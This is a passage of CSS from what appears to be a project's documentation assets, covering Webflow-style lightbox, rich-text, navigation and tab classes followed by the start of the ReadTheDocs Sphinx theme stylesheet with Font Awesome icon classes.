url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9Ii00IDAgMjQgNDAiIHdpZHRoPSIyNCIgaGVpZ2h0PSI0MCI+PGcgdHJhbnNmb3JtPSJyb3RhdGUoNDUpIj48cGF0aCBkPSJtMC0waDI4djI4aC01di0yM2gtMjN6IiBvcGFjaXR5PSIuNCIvPjxwYXRoIGQ9Im0xIDFoMjZ2MjZoLTN2LTIzaC0yM3oiIGZpbGw9IiNmZmYiLz48L2c+PC9zdmc+"); } /* * Without specifying the with and height inside the SVG, all versions of IE render the icon too small. * The bug does not seem to manifest itself if the elements are tall enough such as the above arrows. * (http://stackoverflow.com/questions/16092114/background-size-differs-in-internet-explorer) */ .w-lightbox-close { right: 0; height: 2.6em; /* */ background-image: url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9Ii00IDAgMTggMTciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxNyI+PGcgdHJhbnNmb3JtPSJyb3RhdGUoNDUpIj48cGF0aCBkPSJtMCAwaDd2LTdoNXY3aDd2NWgtN3Y3aC01di03aC03eiIgb3BhY2l0eT0iLjQiLz48cGF0aCBkPSJtMSAxaDd2LTdoM3Y3aDd2M2gtN3Y3aC0zdi03aC03eiIgZmlsbD0iI2ZmZiIvPjwvZz48L3N2Zz4="); background-size: 18px; } /** * 1. All IE versions add extra space at the bottom without this. */ .w-lightbox-strip { position: absolute; bottom: 0; left: 0; right: 0; padding: 0 1vh; line-height: 0; /* 1 */ white-space: nowrap; overflow-x: auto; overflow-y: hidden; } /* * 1. We use content-box to avoid having to do `width: calc(10vh + 2vw)` * which doesn’t work in Safari anyway. * 2. Chrome renders images pixelated when switching to GPU. Making sure * the parent is also rendered on the GPU (by setting translate3d for * example) fixes this behavior. */ .w-lightbox-item { display: inline-block; width: 10vh; padding: 2vh 1vh; box-sizing: content-box; /* 1 */ cursor: pointer; -webkit-transform: translate3d(0, 0, 0); /* 2 */ } .w-lightbox-active { opacity: .3; } .w-lightbox-thumbnail { position: relative; height: 10vh; background: #222; overflow: hidden; } .w-lightbox-thumbnail-image { position: absolute; top: 0; left: 0; } .w-lightbox-thumbnail .w-lightbox-tall { top: 50%; width: 100%; -webkit-transform: translate(0, -50%); -ms-transform: translate(0, -50%); transform: translate(0, -50%); } .w-lightbox-thumbnail .w-lightbox-wide { left: 50%; height: 100%; -webkit-transform: translate(-50%, 0); -ms-transform: translate(-50%, 0); transform: translate(-50%, 0); } /* * Spinner * * Absolute pixel values are used to avoid rounding errors that would cause * the white spinning element to be misaligned with the track. */ .w-lightbox-spinner { position: absolute; top: 50%; left: 50%; box-sizing: border-box; width: 40px; height: 40px; margin-top: -20px; margin-left: -20px; border: 5px solid rgba(0, 0, 0, 0.4); border-radius: 50%; -webkit-animation: spin .8s infinite linear; animation: spin .8s infinite linear; } .w-lightbox-spinner:after { content: ""; position: absolute; top: -4px; right: -4px; bottom: -4px; left: -4px; border: 3px solid transparent; border-bottom-color: #fff; border-radius: 50%; } /* * Utility classes */ .w-lightbox-hide { display: none; } .w-lightbox-noscroll { overflow: hidden; } @media (min-width: 768px) { .w-lightbox-content { height: 96vh; margin-top: 2vh; } .w-lightbox-view, .w-lightbox-view:before { height: 96vh; } /* .w-lightbox-content */ .w-lightbox-group, .w-lightbox-group .w-lightbox-view, .w-lightbox-group .w-lightbox-view:before { height: 84vh; } .w-lightbox-image { max-width: 96vw; max-height: 96vh; } .w-lightbox-group .w-lightbox-image { max-width: 82.3vw; max-height: 84vh; } .w-lightbox-left, .w-lightbox-right { display: block; opacity: .5; } .w-lightbox-close { opacity: .8; } .w-lightbox-control:hover { opacity: 1; } } .w-lightbox-inactive, .w-lightbox-inactive:hover { opacity: 0; } .w-richtext:before, .w-richtext:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-richtext:after { clear: both; } .w-richtext[contenteditable="true"]:before, .w-richtext[contenteditable="true"]:after { white-space: initial; } .w-richtext ol, .w-richtext ul { overflow: hidden; } .w-richtext .w-richtext-figure-selected.w-richtext-figure-type-video div:after, .w-richtext .w-richtext-figure-selected[data-rt-type="video"] div:after { outline: 2px solid #2895f7; } .w-richtext .w-richtext-figure-selected.w-richtext-figure-type-image div, .w-richtext .w-richtext-figure-selected[data-rt-type="image"] div { outline: 2px solid #2895f7; } .w-richtext figure.w-richtext-figure-type-video > div:after, .w-richtext figure[data-rt-type="video"] > div:after { content: ''; position: absolute; display: none; left: 0; top: 0; right: 0; bottom: 0; } .w-richtext figure { position: relative; max-width: 60%; } .w-richtext figure > div:before { cursor: default!important; } .w-richtext figure img { width: 100%; } .w-richtext figure figcaption.w-richtext-figcaption-placeholder { opacity: 0.6; } .w-richtext figure div { /* fix incorrectly sized selection border in the data manager */ font-size: 0px; color: transparent; } .w-richtext figure.w-richtext-figure-type-image, .w-richtext figure[data-rt-type="image"] { display: table; } .w-richtext figure.w-richtext-figure-type-image > div, .w-richtext figure[data-rt-type="image"] > div { display: inline-block; } .w-richtext figure.w-richtext-figure-type-image > figcaption, .w-richtext figure[data-rt-type="image"] > figcaption { display: table-caption; caption-side: bottom; } .w-richtext figure.w-richtext-figure-type-video, .w-richtext figure[data-rt-type="video"] { width: 60%; height: 0; } .w-richtext figure.w-richtext-figure-type-video iframe, .w-richtext figure[data-rt-type="video"] iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .w-richtext figure.w-richtext-figure-type-video > div, .w-richtext figure[data-rt-type="video"] > div { width: 100%; } .w-richtext figure.w-richtext-align-center { margin-right: auto; margin-left: auto; clear: both; } .w-richtext figure.w-richtext-align-center.w-richtext-figure-type-image > div, .w-richtext figure.w-richtext-align-center[data-rt-type="image"] > div { max-width: 100%; } .w-richtext figure.w-richtext-align-normal { clear: both; } .w-richtext figure.w-richtext-align-fullwidth { width: 100%; max-width: 100%; text-align: center; clear: both; display: block; margin-right: auto; margin-left: auto; } .w-richtext figure.w-richtext-align-fullwidth > div { display: inline-block; /* padding-bottom is used for aspect ratios in video figures we want the div to inherit that so hover/selection borders in the designer-canvas fit right*/ padding-bottom: inherit; } .w-richtext figure.w-richtext-align-fullwidth > figcaption { display: block; } .w-richtext figure.w-richtext-align-floatleft { float: left; margin-right: 15px; clear: none; } .w-richtext figure.w-richtext-align-floatright { float: right; margin-left: 15px; clear: none; } .w-nav { position: relative; background: #dddddd; z-index: 1000; } .w-nav:before, .w-nav:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-nav:after { clear: both; } .w-nav-brand { position: relative; float: left; text-decoration: none; color: #333333; } .w-nav-link { position: relative; display: inline-block; vertical-align: top; text-decoration: none; color: #222222; padding: 20px; text-align: left; margin-left: auto; margin-right: auto; } .w-nav-link.w--current { color: #0082f3; } .w-nav-menu { position: relative; float: right; } .w--nav-menu-open { display: block !important; position: absolute; top: 100%; left: 0; right: 0; background: #C8C8C8; text-align: center; overflow: visible; min-width: 200px; } .w--nav-link-open { display: block; position: relative; } .w-nav-overlay { position: absolute; overflow: hidden; display: none; top: 100%; left: 0; right: 0; width: 100%; } .w-nav-overlay .w--nav-menu-open { top: 0; } .w-nav[data-animation="over-left"] .w-nav-overlay { width: auto; } .w-nav[data-animation="over-left"] .w-nav-overlay, .w-nav[data-animation="over-left"] .w--nav-menu-open { right: auto; z-index: 1; top: 0; } .w-nav[data-animation="over-right"] .w-nav-overlay { width: auto; } .w-nav[data-animation="over-right"] .w-nav-overlay, .w-nav[data-animation="over-right"] .w--nav-menu-open { left: auto; z-index: 1; top: 0; } .w-nav-button { position: relative; float: right; padding: 18px; font-size: 24px; display: none; cursor: pointer; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); tap-highlight-color: rgba(0, 0, 0, 0); -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .w-nav-button.w--open { background-color: #C8C8C8; color: white; } .w-nav[data-collapse="all"] .w-nav-menu { display: none; } .w-nav[data-collapse="all"] .w-nav-button { display: block; } .w--nav-dropdown-open { display: block; } .w--nav-dropdown-toggle-open { display: block; } .w--nav-dropdown-list-open { position: static; } @media screen and (max-width: 991px) { .w-nav[data-collapse="medium"] .w-nav-menu { display: none; } .w-nav[data-collapse="medium"] .w-nav-button { display: block; } } @media screen and (max-width: 767px) { .w-nav[data-collapse="small"] .w-nav-menu { display: none; } .w-nav[data-collapse="small"] .w-nav-button { display: block; } .w-nav-brand { padding-left: 10px; } } @media screen and (max-width: 479px) { .w-nav[data-collapse="tiny"] .w-nav-menu { display: none; } .w-nav[data-collapse="tiny"] .w-nav-button { display: block; } } .w-tabs { position: relative; } .w-tabs:before, .w-tabs:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-tabs:after { clear: both; } .w-tab-menu { position: relative; } .w-tab-link { position: relative; display: inline-block; vertical-align: top; text-decoration: none; padding: 9px 30px; text-align: left; cursor: pointer; color: #222222; background-color: #dddddd; } .w-tab-link.w--current { background-color: #C8C8C8; } .w-tab-content { position: relative; display: block; overflow: hidden; } .w-tab-pane { position: relative; display: none; } .w--tab-active { display: block; } @media screen and (max-width: 479px) { .w-tab-link { display: block; } } .w-ix-emptyfix:after { content: ""; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .w-dyn-empty { padding: 10px; background-color: #dddddd; } .w-dyn-hide { display: none !important; } .w-dyn-bind-empty { display: none !important; } .w-condition-invisible { display: none !important; } ================================================ FILE: docs/web/css/theme.css ================================================ /* * This file is copied from the upstream ReadTheDocs Sphinx * theme. To aid upgradability this file should *not* be edited. * modifications we need should be included in theme_extra.css. * * https://github.com/rtfd/sphinx_rtd_theme */ /* sphinx_rtd_theme version 0.4.1 | MIT license */ /* Built 20180727 10:07 */ @import url("https://use.typekit.net/gvx7gfz.css"); * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box } article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display: block } audio, canvas, video { display: inline-block; *display: inline; *zoom: 1 } audio:not([controls]) { display: none } [hidden] { display: none } * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box } html { font-size: 100%; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100% } body { margin: 0 } a:hover, a:active { outline: 0 } abbr[title] { border-bottom: 1px dotted } b, strong { font-weight: bold } blockquote { margin: 0 } dfn { font-style: italic } ins { background: #ff9; color: #000; text-decoration: none } mark { background: #ff0; color: #000; font-style: italic; font-weight: bold } pre, code, .rst-content tt, .rst-content code, kbd, samp { font-family: monospace, serif; _font-family: "courier new", monospace; font-size: 1em } pre { white-space: pre } q { quotes: none } q:before, q:after { content: ""; content: none } small { font-size: 85% } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline } sup { top: -0.5em } sub { bottom: -0.25em } ul, ol, dl { margin: 0; padding: 0; list-style: none; list-style-image: none } li { list-style: none } dd { margin: 0 } img { border: 0; -ms-interpolation-mode: bicubic; vertical-align: middle; max-width: 100% } svg:not(:root) { overflow: hidden } figure { margin: 0 } form { margin: 0 } fieldset { border: 0; margin: 0; padding: 0 } label { cursor: pointer } legend { border: 0; *margin-left: -7px; padding: 0; white-space: normal } button, input, select, textarea { font-size: 100%; margin: 0; vertical-align: baseline; *vertical-align: middle } button, input { line-height: normal } button, input[type="button"], input[type="reset"], input[type="submit"] { cursor: pointer; -webkit-appearance: button; *overflow: visible } button[disabled], input[disabled] { cursor: default } input[type="checkbox"], input[type="radio"] { box-sizing: border-box; padding: 0; *width: 13px; *height: 13px } input[type="search"] { -webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box } input[type="search"]::-webkit-search-decoration, input[type="search"]::-webkit-search-cancel-button { -webkit-appearance: none } button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0 } textarea { overflow: auto; vertical-align: top; resize: vertical } table { border-collapse: collapse; border-spacing: 0 } td { vertical-align: top } .chromeframe { margin: .2em 0; background: #ccc; color: #000; padding: .2em 0 } .ir { display: block; border: 0; text-indent: -999em; overflow: hidden; background-color: transparent; background-repeat: no-repeat; text-align: left; direction: ltr; *line-height: 0 } .ir br { display: none } .hidden { display: none !important; visibility: hidden } .visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px } .visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto } .invisible { visibility: hidden } .relative { position: relative } big, small { font-size: 100% } @media print { html, body, section { background: none !important } * { box-shadow: none !important; text-shadow: none !important; filter: none !important; -ms-filter: none !important } a, a:visited { text-decoration: underline } .ir a:after, a[href^="javascript:"]:after, a[href^="#"]:after { content: "" } pre, blockquote { page-break-inside: avoid } thead { display: table-header-group } tr, img { page-break-inside: avoid } img { max-width: 100% !important } @page { margin: .5cm } p, h2, .rst-content .toctree-wrapper p.caption, h3 { orphans: 3; widows: 3 } h2, .rst-content .toctree-wrapper p.caption, h3 { page-break-after: avoid } } .fa:before, .wy-menu-vertical li span.toctree-expand:before, .wy-menu-vertical li.on a span.toctree-expand:before, .wy-menu-vertical li.current>a span.toctree-expand:before, .rst-content .admonition-title:before, .rst-content h1 .headerlink:before, .rst-content h2 .headerlink:before, .rst-content h3 .headerlink:before, .rst-content h4 .headerlink:before, .rst-content h5 .headerlink:before, .rst-content h6 .headerlink:before, .rst-content dl dt .headerlink:before, .rst-content p.caption .headerlink:before, .rst-content table>caption .headerlink:before, .rst-content tt.download span:first-child:before, .rst-content code.download span:first-child:before, .icon:before, .wy-dropdown .caret:before, .wy-inline-validate.wy-inline-validate-success .wy-input-context:before, .wy-inline-validate.wy-inline-validate-danger .wy-input-context:before, .wy-inline-validate.wy-inline-validate-warning .wy-input-context:before, .wy-inline-validate.wy-inline-validate-info .wy-input-context:before, .wy-alert, .rst-content .note, .rst-content .attention, .rst-content .caution, .rst-content .danger, .rst-content .error, .rst-content .hint, .rst-content .important, .rst-content .tip, .rst-content .warning, .rst-content .seealso, .rst-content .admonition-todo, .rst-content .admonition, .btn, input[type="text"], input[type="password"], input[type="email"], input[type="url"], input[type="date"], input[type="month"], input[type="time"], input[type="datetime"], input[type="datetime-local"], input[type="week"], input[type="number"], input[type="search"], input[type="tel"], input[type="color"], select, textarea, .wy-menu-vertical li.on a, .wy-menu-vertical li.current>a, .wy-side-nav-search>a, .wy-side-nav-search .wy-dropdown>a, .wy-nav-top a { -webkit-font-smoothing: antialiased } .clearfix { *zoom: 1 } .clearfix:before, .clearfix:after { display: table; content: "" } .clearfix:after { clear: both } /*! * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */ @font-face { font-family: 'FontAwesome'; src: url("../fonts/fontawesome-webfont.eot?v=4.7.0"); src: url("../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0") format("embedded-opentype"), url("../fonts/fontawesome-webfont.woff2?v=4.7.0") format("woff2"), url("../fonts/fontawesome-webfont.woff?v=4.7.0") format("woff"), url("../fonts/fontawesome-webfont.ttf?v=4.7.0") format("truetype"), url("../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular") format("svg"); font-weight: normal; font-style: normal } .fa, .wy-menu-vertical li span.toctree-expand, .wy-menu-vertical li.on a span.toctree-expand, .wy-menu-vertical li.current>a span.toctree-expand, .rst-content .admonition-title, .rst-content h1 .headerlink, .rst-content h2 .headerlink, .rst-content h3 .headerlink, .rst-content h4 .headerlink, .rst-content h5 .headerlink, .rst-content h6 .headerlink, .rst-content dl dt .headerlink, .rst-content p.caption .headerlink, .rst-content table>caption .headerlink, .rst-content tt.download span:first-child, .rst-content code.download span:first-child, .icon { display: inline-block; font: normal normal normal 14px/1 FontAwesome; font-size: inherit; text-rendering: auto; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale } .fa-lg { font-size: 1.3333333333em; line-height: .75em; vertical-align: -15% } .fa-2x { font-size: 2em } .fa-3x { font-size: 3em } .fa-4x { font-size: 4em } .fa-5x { font-size: 5em } .fa-fw { width: 1.2857142857em; text-align: center } .fa-ul { padding-left: 0; margin-left: 2.1428571429em; list-style-type: none } .fa-ul>li { position: relative } .fa-li { position: absolute; left: -2.1428571429em; width: 2.1428571429em; top: .1428571429em; text-align: center } .fa-li.fa-lg { left: -1.8571428571em } .fa-border { padding: .2em .25em .15em; border: solid 0.08em #eee; border-radius: .1em } .fa-pull-left { float: left } .fa-pull-right { float: right } .fa.fa-pull-left, .wy-menu-vertical li span.fa-pull-left.toctree-expand, .wy-menu-vertical li.on a span.fa-pull-left.toctree-expand, .wy-menu-vertical li.current>a span.fa-pull-left.toctree-expand, .rst-content .fa-pull-left.admonition-title, .rst-content h1 .fa-pull-left.headerlink, .rst-content h2 .fa-pull-left.headerlink, .rst-content h3 .fa-pull-left.headerlink, .rst-content h4 .fa-pull-left.headerlink, .rst-content h5 .fa-pull-left.headerlink, .rst-content h6 .fa-pull-left.headerlink, .rst-content dl dt .fa-pull-left.headerlink, .rst-content p.caption .fa-pull-left.headerlink, .rst-content table>caption .fa-pull-left.headerlink, .rst-content tt.download span.fa-pull-left:first-child, .rst-content code.download span.fa-pull-left:first-child, .fa-pull-left.icon { margin-right: .3em } .fa.fa-pull-right, .wy-menu-vertical li span.fa-pull-right.toctree-expand, .wy-menu-vertical li.on a span.fa-pull-right.toctree-expand, .wy-menu-vertical li.current>a span.fa-pull-right.toctree-expand, .rst-content .fa-pull-right.admonition-title, .rst-content h1 .fa-pull-right.headerlink, .rst-content h2 .fa-pull-right.headerlink, .rst-content h3 .fa-pull-right.headerlink, .rst-content h4 .fa-pull-right.headerlink, .rst-content h5 .fa-pull-right.headerlink, .rst-content h6 .fa-pull-right.headerlink, .rst-content dl dt .fa-pull-right.headerlink, .rst-content p.caption .fa-pull-right.headerlink, .rst-content table>caption .fa-pull-right.headerlink, .rst-content tt.download span.fa-pull-right:first-child, .rst-content code.download span.fa-pull-right:first-child, .fa-pull-right.icon { margin-left: .3em } .pull-right { float: right } .pull-left { float: left } .fa.pull-left, .wy-menu-vertical li span.pull-left.toctree-expand, .wy-menu-vertical li.on a span.pull-left.toctree-expand, .wy-menu-vertical li.current>a span.pull-left.toctree-expand, .rst-content .pull-left.admonition-title, .rst-content h1 .pull-left.headerlink, .rst-content h2 .pull-left.headerlink, .rst-content h3 .pull-left.headerlink, .rst-content h4 .pull-left.headerlink, .rst-content h5 .pull-left.headerlink, .rst-content h6 .pull-left.headerlink, .rst-content dl dt .pull-left.headerlink, .rst-content p.caption .pull-left.headerlink, .rst-content table>caption .pull-left.headerlink, .rst-content tt.download span.pull-left:first-child, .rst-content code.download span.pull-left:first-child, .pull-left.icon { margin-right: .3em } .fa.pull-right, .wy-menu-vertical li span.pull-right.toctree-expand, .wy-menu-vertical li.on a span.pull-right.toctree-expand, .wy-menu-vertical li.current>a span.pull-right.toctree-expand, .rst-content .pull-right.admonition-title, .rst-content h1 .pull-right.headerlink, .rst-content h2 .pull-right.headerlink, .rst-content h3 .pull-right.headerlink, .rst-content h4 .pull-right.headerlink, .rst-content h5 .pull-right.headerlink, .rst-content h6 .pull-right.headerlink, .rst-content dl dt .pull-right.headerlink, .rst-content p.caption .pull-right.headerlink, .rst-content table>caption .pull-right.headerlink, .rst-content tt.download span.pull-right:first-child, .rst-content code.download span.pull-right:first-child, .pull-right.icon { margin-left: .3em } .fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-spin 2s infinite linear } .fa-pulse { -webkit-animation: fa-spin 1s infinite steps(8); animation: fa-spin 1s infinite steps(8) } @-webkit-keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg) } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg) } } @keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg) } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg) } } .fa-rotate-90 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; -webkit-transform: rotate(90deg); -ms-transform: rotate(90deg); transform: rotate(90deg) } .fa-rotate-180 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; -webkit-transform: rotate(180deg); -ms-transform: rotate(180deg); transform: rotate(180deg) } .fa-rotate-270 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; -webkit-transform: rotate(270deg); -ms-transform: rotate(270deg); transform: rotate(270deg) } .fa-flip-horizontal { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1) } .fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; -webkit-transform: scale(1, -1); -ms-transform: scale(1, -1); transform: scale(1, -1) } :root .fa-rotate-90, :root .fa-rotate-180, :root .fa-rotate-270, :root .fa-flip-horizontal, :root .fa-flip-vertical { filter: none } .fa-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle } .fa-stack-1x, .fa-stack-2x { position: absolute; left: 0; width: 100%; text-align: center } .fa-stack-1x { line-height: inherit } .fa-stack-2x { font-size: 2em } .fa-inverse { color: #fff } .fa-glass:before { content: "" } .fa-music:before { content: "" } .fa-search:before, .icon-search:before { content: "" } .fa-envelope-o:before { content: "" } .fa-heart:before { content: "" } .fa-star:before { content: "" } .fa-star-o:before { content: "" } .fa-user:before { content: "" } .fa-film:before { content: "" } .fa-th-large:before { content: "" } .fa-th:before { content: "" } .fa-th-list:before { content: "" } .fa-check:before { content: "" } .fa-remove:before, .fa-close:before, .fa-times:before { content: "" } .fa-search-plus:before { content: "" } .fa-search-minus:before { content: "" } .fa-power-off:before { content: "" } .fa-signal:before { content: "" } .fa-gear:before, .fa-cog:before { content: "" } .fa-trash-o:before { content: "" } .fa-home:before, .icon-home:before { content: "" } .fa-file-o:before { content: "" } .fa-clock-o:before { content: "" } .fa-road:before { content: "" } .fa-download:before, .rst-content tt.download span:first-child:before, .rst-content code.download span:first-child:before { content: "" } .fa-arrow-circle-o-down:before { content: "" } .fa-arrow-circle-o-up:before { content: "" } .fa-inbox:before { content: "" } .fa-play-circle-o:before { content: "" } .fa-rotate-right:before, .fa-repeat:before { content: "" } .fa-refresh:before { content: "" } .fa-list-alt:before { content: "" } .fa-lock:before { content: "" } .fa-flag:before { content: "" } .fa-headphones:before { content: "" } .fa-volume-off:before { content: "" } .fa-volume-down:before { content: "" } .fa-volume-up:before { content: "" } .fa-qrcode:before { content: "" } .fa-barcode:before { content: "" } .fa-tag:before { content: "" } .fa-tags:before { content: "" } .fa-book:before, .icon-book:before { content: "" } .fa-bookmark:before { content: "" } .fa-print:before { content: "" } .fa-camera:before { content: "" } .fa-font:before { content: "" } .fa-bold:before { content: "" } .fa-italic:before { content: "" } .fa-text-height:before { content: "" } .fa-text-width:before { content: "" } .fa-align-left:before { content: "" } .fa-align-center:before { content: "" } .fa-align-right:before { content: "" } .fa-align-justify:before { content: "" } .fa-list:before { content: "" } .fa-dedent:before, .fa-outdent:before { content: "" } .fa-indent:before { content: "" } .fa-video-camera:before { content: "" } .fa-photo:before, .fa-image:before, .fa-picture-o:before { content: "" } .fa-pencil:before { content: "" } .fa-map-marker:before { content: "" } .fa-adjust:before { content: "" } .fa-tint:before { content: "" } .fa-edit:before, .fa-pencil-square-o:before { content: "" } .fa-share-square-o:before { content: "" } .fa-check-square-o:before { content: "" } .fa-arrows:before { content: "" } .fa-step-backward:before { content: "" } .fa-fast-backward:before { content: "" } .fa-backward:before { content: "" } .fa-play:before { content: "" } .fa-pause:before { content: "" } .fa-stop:before { content: "" } .fa-forward:before { content: "" } .fa-fast-forward:before { content: "" } .fa-step-forward:before { content: "" } .fa-eject:before { content: "" } .fa-chevron-left:before { content: "" } .fa-chevron-right:before { content: "" } .fa-plus-circle:before { content: "" } .fa-minus-circle:before { content: "" } .fa-times-circle:before, .wy-inline-validate.wy-inline-validate-danger .wy-input-context:before { content: "" } .fa-check-circle:before, .wy-inline-validate.wy-inline-validate-success .wy-input-context:before { content: "" } .fa-question-circle:before { content: "" } .fa-info-circle:before { content: "" } .fa-crosshairs:before { content: "" } .fa-times-circle-o:before { content: "" } .fa-check-circle-o:before { content: "" } .fa-ban:before { content: "" } .fa-arrow-left:before { content: "" } .fa-arrow-right:before { content: "" } .fa-arrow-up:before { content: "" } .fa-arrow-down:before { content: "" } .fa-mail-forward:before, .fa-share:before { content: "" } .fa-expand:before { content: "" } .fa-compress:before { content: "" } .fa-plus:before { content: "" } .fa-minus:before { content: "" } .fa-asterisk:before { content: "" } .fa-exclamation-circle:before, .wy-inline-validate.wy-inline-validate-warning .wy-input-context:before, .wy-inline-validate.wy-inline-validate-info .wy-input-context:before, .rst-content .admonition-title:before { content: "" } .fa-gift:before { content: "" } .fa-leaf:before { content: "" } .fa-fire:before, .icon-fire:before { content: "" } .fa-eye:before { content: "" } .fa-eye-slash:before { content: "" } .fa-warning:before, .fa-exclamation-triangle:before { content: "" } .fa-plane:before { content: "" } .fa-calendar:before { content: "" } .fa-random:before { content: "" } .fa-comment:before { content: "" } .fa-magnet:before { content: "" } .fa-chevron-up:before { content: "" } .fa-chevron-down:before { content: "" } .fa-retweet:before { content: "" } .fa-shopping-cart:before { content: "" } .fa-folder:before { content: "" } .fa-folder-open:before { content: "" } .fa-arrows-v:before { content: "" } .fa-arrows-h:before { content: "" } .fa-bar-chart-o:before, .fa-bar-chart:before { content: "" } .fa-twitter-square:before { content: "" } .fa-facebook-square:before { content: "" } .fa-camera-retro:before { content: "" } .fa-key:before { content: "" } .fa-gears:before, .fa-cogs:before { content: "" } .fa-comments:before { content: "" } .fa-thumbs-o-up:before { content: "" } .fa-thumbs-o-down:before { content: "" } .fa-star-half:before { content: "" } .fa-heart-o:before { content: "" } .fa-sign-out:before { content: "" } .fa-linkedin-square:before { content: "" } .fa-thumb-tack:before { content: "" } .fa-external-link:before { content: "" } .fa-sign-in:before { content: "" } .fa-trophy:before { content: "" } .fa-github-square:before { content: "" } .fa-upload:before { content: "" } .fa-lemon-o:before { content: "" } .fa-phone:before { content: "" } .fa-square-o:before { content: "" } .fa-bookmark-o:before { content: "" } .fa-phone-square:before { content: "" } .fa-twitter:before { content: "" } .fa-facebook-f:before, .fa-facebook:before { content: "" } .fa-github:before, .icon-github:before { content: ""; color: #102971; } .fa-unlock:before { content: "" } .fa-credit-card:before { content: "" } .fa-feed:before, .fa-rss:before { content: "" } .fa-hdd-o:before { content: "" } .fa-bullhorn:before { content: "" } .fa-bell:before { content: "" } .fa-certificate:before { content: "" } .fa-hand-o-right:before { content: "" } .fa-hand-o-left:before { content: "" } .fa-hand-o-up:before { content: "" } .fa-hand-o-down:before { content: "" } .fa-arrow-circle-left:before, .icon-circle-arrow-left:before { content: "" } .fa-arrow-circle-right:before, .icon-circle-arrow-right:before { content: "" } .fa-arrow-circle-up:before { content: "" } .fa-arrow-circle-down:before { content: "" } .fa-globe:before { content: "" } .fa-wrench:before { content: "" } .fa-tasks:before { content: "" } .fa-filter:before { content: "" } .fa-briefcase:before { content: "" } .fa-arrows-alt:before { content: "" } .fa-group:before, .fa-users:before { content: "" } .fa-chain:before, .fa-link:before, .icon-link:before { content: "" } .fa-cloud:before { content: "" } .fa-flask:before { content: "" } .fa-cut:before, .fa-scissors:before { content: "" } .fa-copy:before, .fa-files-o:before { content: "" } .fa-paperclip:before { content: "" } .fa-save:before, .fa-floppy-o:before { content: "" } .fa-square:before { content: "" } .fa-navicon:before, .fa-reorder:before, .fa-bars:before { content: "" } .fa-list-ul:before { content: "" } .fa-list-ol:before { content: "" } .fa-strikethrough:before { content: "" } .fa-underline:before { content: "" } .fa-table:before { content: "" } .fa-magic:before { content: "" } .fa-truck:before { content: "" } .fa-pinterest:before { content: "" } .fa-pinterest-square:before { content: "" } .fa-google-plus-square:before { content: "" } .fa-google-plus:before { content: "" } .fa-money:before { content: "" } .fa-caret-down:before, .wy-dropdown .caret:before, .icon-caret-down:before { content: "" } .fa-caret-up:before { content: "" } .fa-caret-left:before { content: "" } .fa-caret-right:before { content: "" } .fa-columns:before { content: "" } .fa-unsorted:before, .fa-sort:before { content: "" } .fa-sort-down:before, .fa-sort-desc:before { content: "" } .fa-sort-up:before, .fa-sort-asc:before { content: "" } .fa-envelope:before { content: "" } .fa-linkedin:before { content: "" } .fa-rotate-left:before, .fa-undo:before { content: "" } .fa-legal:before, .fa-gavel:before { content: "" } .fa-dashboard:before, .fa-tachometer:before { content: "" } .fa-comment-o:before { content: "" } .fa-comments-o:before { content: "" } .fa-flash:before, .fa-bolt:before { content: "" } .fa-sitemap:before { content: "" } .fa-umbrella:before { content: "" } .fa-paste:before, .fa-clipboard:before { content: "" } .fa-lightbulb-o:before { content: "" } .fa-exchange:before { content: "" } .fa-cloud-download:before { content: "" } .fa-cloud-upload:before { content: "" } .fa-user-md:before { content: "" } .fa-stethoscope:before { content: "" } .fa-suitcase:before { content: "" } .fa-bell-o:before { content: "" } .fa-coffee:before { content: "" } .fa-cutlery:before { content: "" } .fa-file-text-o:before { content: "" } .fa-building-o:before { content: "" } .fa-hospital-o:before { content: "" } .fa-ambulance:before { content: "" } .fa-medkit:before { content: "" } .fa-fighter-jet:before { content: "" } .fa-beer:before { content: "" } 